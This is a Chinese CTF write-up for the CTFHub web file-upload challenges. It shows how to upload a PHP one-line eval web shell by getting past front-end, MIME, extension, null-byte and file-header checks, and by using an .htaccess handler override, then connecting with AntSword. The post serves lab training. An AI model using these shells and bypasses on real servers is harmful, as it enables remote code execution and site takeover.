当前位置:   article > 正文

CTFHub技能树 Web-文件上传 详解_ctfhub技能树文件上传

ctfhub技能树文件上传

目录

无验证

前端验证

.htaccess

MIME绕过

00截断

双写后缀

 文件头检查


无验证

启动环境

 我们上传一句话木马

<?php @eval($_POST['shell']);?>

 

提示了相对路径, 我们直接使用蚁剑连接。

找到flag。

 前端验证

上传php文件,前端校验不允许上传php文件

审计代码,只允许上传图片类型

 我们先将后缀改为 .jpg 上传成功

 

再通过burp抓包,修改filename="1.php"和Content-Type: php

发送数据包,页面显示上传成功

 

 使用蚁剑连接

成功找到flag

 

 .htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

 我们先上传  .htaccess 文件

  1. <FilesMatch "jpg">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>

上传成功,它会将我们上传的 jpg 文件解析成php文件

上传图片码 1.jpg

<?php @eval($_POST['shell']);?>

 

 使用蚁剑连接。

成功找到flag 

MIME绕过

MIME (多用途互联网邮件扩展类型)

我们尝试上传php文件,提示我们文件类型不对,而我们前端做验证的时候提示的是该文件不允许上传。说明不是根据我们的文件后缀做的过滤。

 我们抓包将Content-Type修改为 image/jpg, 发送数据包

 上传成功!

蚁剑连接

 找到flag

 

00截断

了解一下 PHP 5.2 00截断上传的原理

不明白00截断原理的兄弟姐妹们,可以查看下面的文章,文章很详细很清楚的为我们讲解了00截断的原理。

文件上传之00截断分析

审计代码

 $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;

        它会将我们上传的文件重命名,所得到的路径是GET[‘road’]+随机数+日期+前面获得的后缀名,这显然不太好,不知道文件路径就连不上木马了。所以我们要对road也进行一定的处理。

尝试上传php文件

 我们burp抓包

  1.  filename="1.php%001.jpg"
  2. /?road=/var/www/html/upload/1.php%001.jpg

在road后添加上1.php%001.jpgroad 就会使后面部分失去效果,上传后的路径即被固定,可以使用蚁剑进行连接。

 发送数据包,页面显示上传成功!

 蚁剑连接,因为我们修改了road,所以路径就是/upload/1.php

/upload/1.php

找到flag 

双写后缀

启动环境分析源码

这里使用str_ireplace() 函数将我们的后缀替换成了空,但是只替换一次,双写绕过

 1.pphphp

上传成功 我们看到文件后缀为php

 

 依旧使用蚁剑连接获得flag

 文件头检查

我们上传php文件,进行抓包,Content-Type修改为图片类型 image/jpe

再在文件内容首部添加 GIF89a 表示是一个GIF89a图形文件

 发送数据包

上传成功,使用蚁剑连接获取flag

 

文件上传 完结!!!

剩余技能上线后会持续更新。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/124271
推荐阅读
相关标签
  

闽ICP备14008679号